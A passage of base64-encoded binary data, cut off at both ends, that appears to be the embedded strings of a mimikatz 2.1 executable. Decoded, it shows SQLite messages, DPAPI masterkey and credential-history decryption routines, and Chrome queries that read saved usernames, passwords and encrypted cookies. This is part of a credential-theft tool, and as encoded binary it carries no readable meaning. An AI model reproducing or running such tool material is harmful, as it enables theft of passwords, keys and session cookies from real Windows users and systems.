yBTRVQgdHlwZT0nJXMnLCBuYW1lPSVRLCB0YmxfbmFtZT0lUSwgcm9vdHBhZ2U9IyVkLCBzcWw9JVEgV0hFUkUgcm93aWQ9IyVkAAB0YmxfbmFtZT0nJXEnIEFORCB0eXBlIT0ndHJpZ2dlcicAAABzcWxpdGVfc3RhdCVkAAAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgJXM9JVEAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSB0YmxfbmFtZT0lUSBhbmQgdHlwZSE9J3RyaWdnZXInAHNxbGl0ZV9zdGF0AHRhYmxlICVzIG1heSBub3QgYmUgZHJvcHBlZAB0YmwAaW5kZXgAAABjYW5ub3QgY3JlYXRlIGEgVEVNUCBpbmRleCBvbiBub24tVEVNUCB0YWJsZSAiJXMiAAAAYWx0ZXJ0YWJfAAAAdGFibGUgJXMgbWF5IG5vdCBiZSBpbmRleGVkAHRoZXJlIGlzIGFscmVhZHkgYSB0YWJsZSBuYW1lZCAlcwAAAGluZGV4ICVzIGFscmVhZHkgZXhpc3RzAHNxbGl0ZV9hdXRvaW5kZXhfJXNfJWQAAGV4cHJlc3Npb25zIHByb2hpYml0ZWQgaW4gUFJJTUFSWSBLRVkgYW5kIFVOSVFVRSBjb25zdHJhaW50cwAAAABjb25mbGljdGluZyBPTiBDT05GTElDVCBjbGF1c2VzIHNwZWNpZmllZAAAACBVTklRVUUAQ1JFQVRFJXMgSU5ERVggJS4qcwBJTlNFUlQgSU5UTyAlUS4lcyBWQUxVRVMoJ2luZGV4JywlUSwlUSwjJWQsJVEpOwBuYW1lPSclcScgQU5EIHR5cGU9J2luZGV4JwAAbm8gc3VjaCBpbmRleDogJVMAAABpbmRleCBhc3NvY2lhdGVkIHdpdGggVU5JUVVFIG9yIFBSSU1BUlkgS0VZIGNvbnN0cmFpbnQgY2Fubm90IGJlIGRyb3BwZWQAAAAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgbmFtZT0lUSBBTkQgdHlwZT0naW5kZXgnAAAAAGlkeABPTgAAVVNJTkcAAABhIEpPSU4gY2xhdXNlIGlzIHJlcXVpcmVkIGJlZm9yZSAlcwBpbmRleCAnJXEnAAAsIAAAJXMuJXMAAAAlcy5yb3dpZAAAAABkdXBsaWNhdGUgV0lUSCB0YWJsZSBuYW1lOiAlcwAAAG5vIHN1Y2ggY29sbGF0aW9uIHNlcXVlbmNlOiAlcwAAdGFibGUgJXMgbWF5IG5vdCBiZSBtb2RpZmllZAAAAAByb3dzIGRlbGV0ZWQAAAAAaW50ZWdlcgB0ZXh0AAAAAHJlYWwAAAAAYmxvYgAAAABudWxsAAAAAGludGVnZXIgb3ZlcmZsb3cAAAAATElLRSBvciBHTE9CIHBhdHRlcm4gdG9vIGNvbXBsZXgAAAAARVNDQVBFIGV4cHJlc3Npb24gbXVzdCBiZSBhIHNpbmdsZSBjaGFyYWN0ZXIAAAAAJSEuMjBlAAAgAAAATUFUQ0gAAABsaWtlAAAAAGdsb2IAAAAAdW5saWtlbHkAAAAAbGlrZWxpaG9vZAAAbGlrZWx5AABsdHJpbQAAAHJ0cmltAAAAdHJpbQAAAABtaW4AbWF4AHR5cGVvZgAAbGVuZ3RoAABpbnN0cgAAAHByaW50ZgAAdW5pY29kZQBjaGFyAAAAAGFicwB1cHBlcgAAAGxvd2VyAAAAaGV4AGlmbnVsbAAAcmFuZG9tAAByYW5kb21ibG9iAABudWxsaWYAAHNxbGl0ZV92ZXJzaW9uAABzcWxpdGVfc291cmNlX2lkAAAAAHNxbGl0ZV9sb2cAAHF1b3RlAAAAbGFzdF9pbnNlcnRfcm93aWQAAABjaGFuZ2VzAHRvdGFsX2NoYW5nZXMAAAByZXBsYWNlAHplcm9ibG9iAAAAAHN1YnN0cgAAc3VtAHRvdGFsAAAAYXZnAGNvdW50AAAAZ3JvdXBfY29uY2F0AAAAAGNvYWxlc2NlAAAAAHRhYmxlICVTIGhhcyBubyBjb2x1bW4gbmFtZWQgJXMAdGFibGUgJVMgaGFzICVkIGNvbHVtbnMgYnV0ICVkIHZhbHVlcyB3ZXJlIHN1cHBsaWVkACVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAAByb3dzIGluc2VydGVkAAAAYXV0b21hdGljIGV4dGVuc2lvbiBsb2FkaW5nIGZhaWxlZDogJXMAAD8AAABtYWxmb3JtZWQgZGF0YWJhc2Ugc2NoZW1hICglcykAACV6IC0gJXMAY3JlYXRlIABpbnZhbGlkIHJvb3RwYWdlAAAAAAAAAABDUkVBVEUgVEFCTEUgeCh0eXBlIHRleHQsbmFtZSB0ZXh0LHRibF9uYW1lIHRleHQscm9vdHBhZ2UgaW50ZWdlcixzcWwgdGV4dCkAAAAAAGF0dGFjaGVkIGRhdGFiYXNlcyBtdXN0IHVzZSB0aGUgc2FtZSB0ZXh0IGVuY29kaW5nIGFzIG1haW4gZGF0YWJhc2UAdW5zdXBwb3J0ZWQgZmlsZSBmb3JtYXQAU0VMRUNUIG5hbWUsIHJvb3RwYWdlLCBzcWwgRlJPTSAiJXciLiVzIE9SREVSIEJZIHJvd2lkAABzdGF0ZW1lbnQgdG9vIGxvbmcAAHVua25vd24gb3IgdW5zdXBwb3J0ZWQgam9pbiB0eXBlOiAlVCAlVCVzJVQAUklHSFQgYW5kIEZVTEwgT1VURVIgSk9JTnMgYXJlIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkAABhIE5BVFVSQUwgam9pbiBtYXkgbm90IGhhdmUgYW4gT04gb3IgVVNJTkcgY2xhdXNlAAAAY2Fubm90IGhhdmUgYm90aCBPTiBhbmQgVVNJTkcgY2xhdXNlcyBpbiB0aGUgc2FtZSBqb2luAABjYW5ub3Qgam9pbiB1c2luZyBjb2x1bW4gJXMgLSBjb2x1bW4gbm90IHByZXNlbnQgaW4gYm90aCB0YWJsZXMAVU5JT04gQUxMAAAASU5URVJTRUNUAAAARVhDRVBUAABVTklPTgAAAHJvd2lkAAAAY29sdW1uJWQAAAAAJS4qejoldQBhbGwgVkFMVUVTIG11c3QgaGF2ZSB0aGUgc2FtZSBudW1iZXIgb2YgdGVybXMAAAAAAAAAU0VMRUNUcyB0byB0aGUgbGVmdCBhbmQgcmlnaHQgb2YgJXMgZG8gbm90IGhhdmUgdGhlIHNhbWUgbnVtYmVyIG9mIHJlc3VsdCBjb2x1bW5zAAAAbm8gc3VjaCBpbmRleDogJXMAAAAnJXMnIGlzIG5vdCBhIGZ1bmN0aW9uAABtdWx0aXBsZSByZWZlcmVuY2VzIHRvIHJlY3Vyc2l2ZSB0YWJsZTogJXMAAGNpcmN1bGFyIHJlZmVyZW5jZTogJXMAAHRhYmxlICVzIGhhcyAlZCB2YWx1ZXMgZm9yICVkIGNvbHVtbnMAAABtdWx0aXBsZSByZWN1cnNpdmUgcmVmZXJlbmNlczogJXMAAAByZWN1cnNpdmUgcmVmZXJlbmNlIGluIGEgc3VicXVlcnk6ICVzAAAAdG9vIG1hbnkgcmVmZXJlbmNlcyB0byAiJXMiOiBtYXggNjU1MzUAACoAAAAlcy4lcy4lcwAAAABubyBzdWNoIHRhYmxlOiAlcwAAAG5vIHRhYmxlcyBzcGVjaWZpZWQAdG9vIG1hbnkgY29sdW1ucyBpbiByZXN1bHQgc2V0AABESVNUSU5DVCBhZ2dyZWdhdGVzIG11c3QgaGF2ZSBleGFjdGx5IG9uZSBhcmd1bWVudAAAbm8gc3VjaCBjb2x1bW46ICVzAAByb3dzIHVwZGF0ZWQAAAAAQklOQVJZAAB0b28gbWFueSBhcmd1bWVudHMgb24gJXMoKSAtIG1heCAlZABubyBxdWVyeSBzb2x1dGlvbgAAAGF0IG1vc3QgJWQgdGFibGVzIGluIGEgam9pbgB0b28gbWFueSB0ZXJtcyBpbiBjb21wb3VuZCBTRUxFQ1QAAABzeW50YXggZXJyb3IgYWZ0ZXIgY29sdW1uIG5hbWUgIiUuKnMiAAAAcGFyc2VyIHN0YWNrIG92ZXJmbG93AAAAdW5rbm93biB0YWJsZSBvcHRpb246ICUuKnMAAHNldCBsaXN0AAAAAG5lYXIgIiVUIjogc3ludGF4IGVycm9yAHRvbyBtYW55IGFyZ3VtZW50cyBvbiBmdW5jdGlvbiAlVAAAAHVucmVjb2duaXplZCB0b2tlbjogIiVUIgAAAAAyMDE2LTA1LTE4IDEwOjU3OjMwIGZjNDlmNTU2ZTQ4OTcwNTYxZDdhYjZhMmYyNGZkZDdkOWViODFmZjIAAAAAdW5hYmxlIHRvIGNsb3NlIGR1ZSB0byB1bmZpbmFsaXplZCBzdGF0ZW1lbnRzIG9yIHVuZmluaXNoZWQgYmFja3VwcwBub3QgYW4gZXJyb3IAAAAAU1FMIGxvZ2ljIGVycm9yIG9yIG1pc3NpbmcgZGF0YWJhc2UAYWNjZXNzIHBlcm1pc3Npb24gZGVuaWVkAAAAAGNhbGxiYWNrIHJlcXVlc3RlZCBxdWVyeSBhYm9ydAAAZGF0YWJhc2UgaXMgbG9ja2VkAABkYXRhYmFzZSB0YWJsZSBpcyBsb2NrZWQAAAAAYXR0ZW1wdCB0byB3cml0ZSBhIHJlYWRvbmx5IGRhdGFiYXNlAAAAAGludGVycnVwdGVkAGRpc2sgSS9PIGVycm9yAABkYXRhYmFzZSBkaXNrIGltYWdlIGlzIG1hbGZvcm1lZAAAAAB1bmtub3duIG9wZXJhdGlvbgAAAGRhdGFiYXNlIG9yIGRpc2sgaXMgZnVsbAAAAAB1bmFibGUgdG8gb3BlbiBkYXRhYmFzZSBmaWxlAAAAAGxvY2tpbmcgcHJvdG9jb2wAAAAAdGFibGUgY29udGFpbnMgbm8gZGF0YQAAY29uc3RyYWludCBmYWlsZWQAAABkYXRhdHlwZSBtaXNtYXRjaAAAAGxpYnJhcnkgcm91dGluZSBjYWxsZWQgb3V0IG9mIHNlcXVlbmNlAABsYXJnZSBmaWxlIHN1cHBvcnQgaXMgZGlzYWJsZWQAAGF1dGhvcml6YXRpb24gZGVuaWVkAAAAAGF1eGlsaWFyeSBkYXRhYmFzZSBmb3JtYXQgZXJyb3IAYmluZCBvciBjb2x1bW4gaW5kZXggb3V0IG9mIHJhbmdlAAAAZmlsZSBpcyBlbmNyeXB0ZWQgb3IgaXMgbm90IGEgZGF0YWJhc2UAAHVua25vd24gZXJyb3IAAABhYm9ydCBkdWUgdG8gUk9MTEJBQ0sAAAB1bmFibGUgdG8gZGVsZXRlL21vZGlmeSB1c2VyLWZ1bmN0aW9uIGR1ZSB0byBhY3RpdmUgc3RhdGVtZW50cwAAAAAAAHVuYWJsZSB0byBkZWxldGUvbW9kaWZ5IGNvbGxhdGlvbiBzZXF1ZW5jZSBkdWUgdG8gYWN0aXZlIHN0YXRlbWVudHMAbG9jYWxob3N0AAAAaW52YWxpZCB1cmkgYXV0aG9yaXR5OiAlLipzAGNhY2hlAAAAc2hhcmVkAABwcml2YXRlAHJvAABydwAAcndjAG1lbW9yeQAAYWNjZXNzAABubyBzdWNoICVzIG1vZGU6ICVzACVzIG1vZGUgbm90IGFsbG93ZWQ6ICVzAG5vIHN1Y2ggdmZzOiAlcwBOT0NBU0UAAFJUUklNAAAAbWFpbgAAAAB0ZW1wAAAAACVzIGF0IGxpbmUgJWQgb2YgWyUuMTBzXQAAAABkYXRhYmFzZSBjb3JydXB0aW9uAG1pc3VzZQAAY2Fubm90IG9wZW4gZmlsZQAAAAAKACAAIAAuACMAIwAjACMAIwAuACAAIAAgAG0AaQBtAGkAawBhAHQAegAgADIALgAxACAAKAB4ADgANgApACAAYgB1AGkAbAB0ACAAbwBuACAASgB1AGwAIAAxADUAIAAyADAAMQA2ACAAMQA0ADoAMQAwADoAMgA1AAoAIAAuACMAIwAgAF4AIAAjACMALgAgACAAIgBBACAATABhACAAVgBpAGUALAAgAEEAIABMACcAQQBtAG8AdQByACIACgAgACMAIwAgAC8AIABcACAAIwAjACAAIAAvACoAIAAqACAAKgAKACAAIwAjACAAXAAgAC8AIAAjACMAIAAgACAAQgBlAG4AagBhAG0AaQBuACAARABFAEwAUABZACAAYABnAGUAbgB0AGkAbABrAGkAdwBpAGAAIAAoACAAYgBlAG4AagBhAG0AaQBuAEAAZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtACAAKQAKACAAJwAjACMAIAB2ACAAIwAjACcAIAAgACAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtAC8AbQBpAG0AaQBrAGEAdAB6ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABvAGUALgBlAG8AKQAKACAAIAAnACMAIwAjACMAIwAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMgB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoAAAAKAG0AaQBtAGkAawBhAHQAegAoAHAAbwB3AGUAcgBzAGgAZQBsAGwAKQAgACMAIAAlAHMACgAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGkAbgBpAHQATwByAEMAbABlAGEAbgAgADsAIABDAG8ASQBuAGkAdABpAGEAbABpAHoAZQBFAHgAOgAgACUAMAA4AHgACgAAAAAASQBOAEkAVAAAAAAAQwBMAEUAQQBOAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKACUAMQA2AHMAAAAgACAALQAgACAAJQBzAAAAIAAgAFsAJQBzAF0AAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoATQBvAGQAdQBsAGUAIAA6AAkAJQBzAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAGIAbABvAGIAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABEAFAAQQBQAEkAIABiAGwAbwBiACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGkAdAAgAHcAaQB0AGgAIABBAFAASQAgAG8AcgAgAE0AYQBzAHQAZQByAGsAZQB5AAAAcAByAG8AdABlAGMAdAAAAAAAAABQAHIAbwB0AGUAYwB0ACAAYQAgAGQAYQB0AGEAIAB2AGkAYQAgAGEAIABEAFAAQQBQAEkAIABjAGEAbABsAAAAbQBhAHMAdABlAHIAawBlAHkAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAE0AYQBzAHQAZQByAGsAZQB5ACAAZgBpAGwAZQAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABlAGEAYwBoACAATQBhAHMAdABlAHIAawBlAHkAIAAoAGsAZQB5ACAAZABlAHAAZQBuAGQAaQBuAGcAKQAAAGMAcgBlAGQAaABpAHMAdAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEMAcgBlAGQAaABpAHMAdAAgAGYAaQBsAGUAAAAAAGMAYQBwAGkAAAAAAEMAQQBQAEkAIABrAGUAeQAgAHQAZQBzAHQAAABjAG4AZwAAAEMATgBHACAAawBlAHkAIAB0AGUAcwB0AAAAAABjAHIAZQBkAAAAAABDAFIARQBEACAAdABlAHMAdAAAAHYAYQB1AGwAdAAAAFYAQQBVAEwAVAAgAHQAZQBzAHQAAAAAAHcAaQBmAGkAAAAAAFcAaQBGAGkAIAB0AGUAcwB0AAAAdwB3AGEAbgAAAAAAVwB3AGEAbgAgAHQAZQBzAHQAAABjAGgAcgBvAG0AZQAAAAAAQwBoAHIAbwBtAGUAIAB0AGUAcwB0AAAAYwBhAGMAaABlAAAAZABwAGEAcABpAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAARABhAHQAYQAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcAIABpAG4AdABlAHIAZgBhAGMAZQAAAGkAbgAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAgACUAcwAKAAAAbwB1AHQAAABXAHIAaQB0AGUAIAB0AG8AIABmAGkAbABlACAAJwAlAHMAJwAgAGkAcwAgAE8ASwAKAAAAZABhAHQAYQA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGIAbABvAGIAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAG0AaQBtAGkAawBhAHQAegAAAAAAZABhAHQAYQAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuAAAAZQBuAHQAcgBvAHAAeQAAAG0AYQBjAGgAaQBuAGUAAABwAHIAbwBtAHAAdAAAAAAAYwAAAAoAZABhAHQAYQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABmAGwAYQBnAHMAIAAgACAAIAAgACAAIAA6ACAAAAAAAHAAcgBvAG0AcAB0ACAAZgBsAGEAZwBzADoAIAAAAAAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAOgAgAAAAAABCAGwAbwBiADoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBwAHIAbwB0AGUAYwB0ACAAOwAgAEMAcgB5AHAAdABQAHIAbwB0AGUAYwB0AEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAcgBvAHQAZQBjAHQAZQBkAAAAcwBpAGQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABoAGEAcwBoAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAqACoAIABNAEEAQwBIAEkATgBFACAAKgAqAAoAAAAAACoAKgAgAFUAUwBFAFIAIAAqACoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQA6ACAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAgACgAcwBoAGEAMQAgAHQAeQBwAGUAKQAKAAAAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5AAoAAABwAHYAawAAAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFMAQQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAKAAAAAAByAHAAYwAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAFIAUABDAAoAAAAAAGQAYwAAAAAAZABvAG0AYQBpAG4AAAAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAZABvAG0AYQBpAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEkAbgBwAHUAdAAgAG0AYQBzAHQAZQByAGsAZQB5AHMAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAaABpAHMAdAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwBoAGEAMQAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAASQBuAHAAdQB0ACAAYwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAB1AG4AcAByAG8AdABlAGMAdAAAACAAKgAgAHUAcwBpAG4AZwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAQQBQAEkACgAAAAAAIAAqACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAACAAKgAgAG0AYQBzAHQAZQByAGsAZQB5ACAAIAAgACAAIAA6ACAAAAAgAD4AIABwAHIAbwBtAHAAdAAgAGYAbABhAGcAcwAgACAAOgAgAAAAIAA+ACAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAIAAgADoAIAAAACAAPgAgAHAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AcgBhAHcAXwBvAHIAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAgACAAawBlAHkAIAA6ACAAAAAAACAAIABzAGgAYQAxADoAIAAAAAAAIAAgAHMAaQBkACAAOgAgAAAAAAAgACAAIAAAACAALQAtACAAAAAAACAAIAAgAD4AIABOAFQATABNADoAIAAAACAAIAAgAD4AIABTAEgAQQAxADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AbQBhAHMAdABlAHIAawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAIABIAGEAcwBoAD8AAAAAAEcAVQBJAEQAOgAAADsAAABLAGUAeQBIAGEAcwBoADoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGMAcgBlAGQAZQBuAHQAaQBhAGwAXwBhAGQAZAAgADsAIABOAG8AIABTAEkARAA/AAAAAABTAEkARAA6ACUAcwAAAAAATQBEADQAOgAAAAAAUwBIAEEAMQA6AAAATQBEADQAcAA6AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AZABvAG0AYQBpAG4AawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAPwAAAFIAUwBBAAAATABFAEcAQQBDAFkAAAAAADsAVABZAFAARQA6ACUAcwAKAAAACgBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAAAKAE0AQQBTAFQARQBSAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAKAEQATwBNAEEASQBOAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAABBAHUAdABvACAAUwBJAEQAIABmAHIAbwBtACAAcABhAHQAaAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQA6ACAAJQBzAAoAAABsb2dpbnMAAHNlbGVjdCBzaWdub25fcmVhbG0sIG9yaWdpbl91cmwsIHVzZXJuYW1lX3ZhbHVlLCBwYXNzd29yZF92YWx1ZSBmcm9tIGxvZ2lucwAAAAAACgBVAFIATAAgACAAIAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBVAHMAZQByAG4AYQBtAGUAOgAgACUALgAqAFMACgAAAAAAUABhAHMAcwB3AG8AcgBkADoAIAAlAC4AKgBTAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABzAHEAbABpAHQAZQAzAF8AcwB0AGUAcAA6ACAAJQBTAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABzAHEAbABpAHQAZQAzAF8AcAByAGUAcABhAHIAZQBfAHYAMgA6ACAAJQBTAAoAAABjb29raWVzAHNlbGVjdCBob3N0X2tleSwgcGF0aCwgbmFtZSwgY3JlYXRpb25fdXRjLCBleHBpcmVzX3V0YywgZW5jcnlwdGVkX3ZhbHVlIGZyb20gY29va2llcyBvcmRlciBieSBob3N0X2tleSwgcGF0aCwgbmFtZQAAAAAAAAoASABvAHMAdAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBOAGEAbQBlACAAIAA6A